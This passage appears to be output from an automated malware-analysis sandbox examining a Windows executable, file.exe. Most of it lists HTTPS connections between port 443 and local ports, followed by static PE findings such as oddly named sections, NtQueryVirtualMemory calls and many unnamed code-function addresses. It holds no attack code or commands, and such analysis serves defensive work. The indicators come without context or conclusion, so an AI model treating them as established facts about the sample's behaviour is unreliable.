Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50114 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5DB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C5DB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C5DB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C57F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5735A0	0_2_6C5735A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E545C	0_2_6C5E545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C585440	0_2_6C585440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5C10	0_2_6C5B5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C2C10	0_2_6C5C2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAC00	0_2_6C5EAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E542B	0_2_6C5E542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59D4D0	0_2_6C59D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5864C0	0_2_6C5864C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6CF0	0_2_6C5B6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57D4E0	0_2_6C57D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C586C80	0_2_6C586C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D34A0	0_2_6C5D34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC4A0	0_2_6C5DC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A0512	0_2_6C5A0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59ED10	0_2_6C59ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58FD00	0_2_6C58FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B0DD0	0_2_6C5B0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D85F0	0_2_6C5D85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C599E50	0_2_6C599E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B3E50	0_2_6C5B3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C2E4E	0_2_6C5C2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C594640	0_2_6C594640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57C670	0_2_6C57C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6E63	0_2_6C5E6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7E10	0_2_6C5B7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5600	0_2_6C5C5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D9E30	0_2_6C5D9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57BEF0	0_2_6C57BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58FEF0	0_2_6C58FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E76E3	0_2_6C5E76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C595E90	0_2_6C595E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DE680	0_2_6C5DE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4EA0	0_2_6C5D4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B7710	0_2_6C5B7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C589F00	0_2_6C589F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A6FF0	0_2_6C5A6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57DFE0	0_2_6C57DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C77A0	0_2_6C5C77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C598850	0_2_6C598850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59D850	0_2_6C59D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BF070	0_2_6C5BF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C587810	0_2_6C587810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BB820	0_2_6C5BB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C4820	0_2_6C5C4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E50C7	0_2_6C5E50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59C0E0	0_2_6C59C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B58E0	0_2_6C5B58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A60A0	0_2_6C5A60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59A940	0_2_6C59A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CB970	0_2_6C5CB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EB170	0_2_6C5EB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58D960	0_2_6C58D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5190	0_2_6C5B5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D2990	0_2_6C5D2990
